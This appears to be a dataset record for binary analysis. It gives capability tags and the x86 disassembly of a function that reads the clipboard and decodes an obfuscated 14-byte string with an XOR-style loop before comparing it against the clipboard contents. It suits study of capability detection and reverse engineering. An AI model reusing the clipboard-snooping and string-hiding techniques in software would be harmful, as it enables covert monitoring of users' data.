Function at 0x42dc50
Capabilities:
Encode data using xor
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov esi, esp
call fcn.0040f090
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov edi, esp
push eax
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x24], esp
sub esp, 0x10
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
mov dword [esi + 0x20], esp
mov dword [esi + 0x28], ecx
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov dword [esi + 0x14], eax
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
test al, 1
jne 0x42dcb5
jmp 0x42de26
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
jmp 0x42dcd1
mov dword [edi], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [esi + 0x10]
jmp 0x42dce8
mov dword [edi], eax
mov eax, dword [edi]
jmp 0x42dcee
cmp eax, 0
setne al
jmp 0x42dcf6
test al, 1
jne 0x42dcff
jmp 0x42de20
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0xc]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00408f70
add esp, 4
mov edx, dword [esi + 0x24]
mov dword [edx], eax
mov eax, dword [edx]
jmp 0x42dd2b
jmp 0x42dd2d
cmp eax, 0
setne al
test al, 1
jne 0x42dd3c
jmp 0x42de0e
mov eax, dword [esi + 0x28]
mov ecx, dword [eax]
jmp 0x42dd43
mov edx, dword [edx]
jmp 0x42dd47
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x20]
mov al, byte [eax]
mov byte [esi + 8], al
mov byte [ebx], 0xc3
mov byte [ebx + 1], 0x65
mov byte [ebx + 2], 0x63
mov byte [ebx + 3], 0x6b
mov byte [ebx + 4], 0x58
mov byte [ebx + 5], 0x6c
mov byte [ebx + 6], 0x5f
mov byte [ebx + 7], 0x6d
mov byte [ebx + 8], 0x5a
mov byte [ebx + 9], 0x2f
mov byte [ebx + 0xa], 0x64
mov byte [ebx + 0xb], 0x7b
mov byte [ebx + 0xc], 0x66
mov byte [ebx + 0xd], 0xf5
mov word [ebx + 0xe], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x10
jae 0x42ddf1
mov dword [esi + 0x1c], edx
jmp 0x42dda8
mov edi, dword [esi + 4]
mov eax, dword [esi + 4]
movzx edx, byte [ebx + eax]
mov eax, edi
dec eax
lea edi, [edi + edx + 0x28e2caff]
and eax, edx
add eax, eax
mov edx, eax
xor edx, edi
not eax
and edi, eax
add edi, edi
sub edi, edx
mov dword [esi + 0x2c], edi
mov eax, dword [esi + 0x2c]
add al, 7
mov edx, dword [esi + 4]
mov byte [ebx + edx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
cmp eax, 0x10
jb 0x42dda8
mov edi, dword [esi + 0x10]
mov edx, dword [esi + 0x1c]
jmp 0x42ddf1
sub esp, 0xc
mov dword [esp], ebx
mov eax, dword [esi + 0x18]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.004096e0
and al, 1
mov ecx, dword [esi + 0x14]
mov byte [ecx], al
mov eax, dword [edi]
jmp 0x42de12
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42de20
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [esi + 0x14]
mov al, byte [eax]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret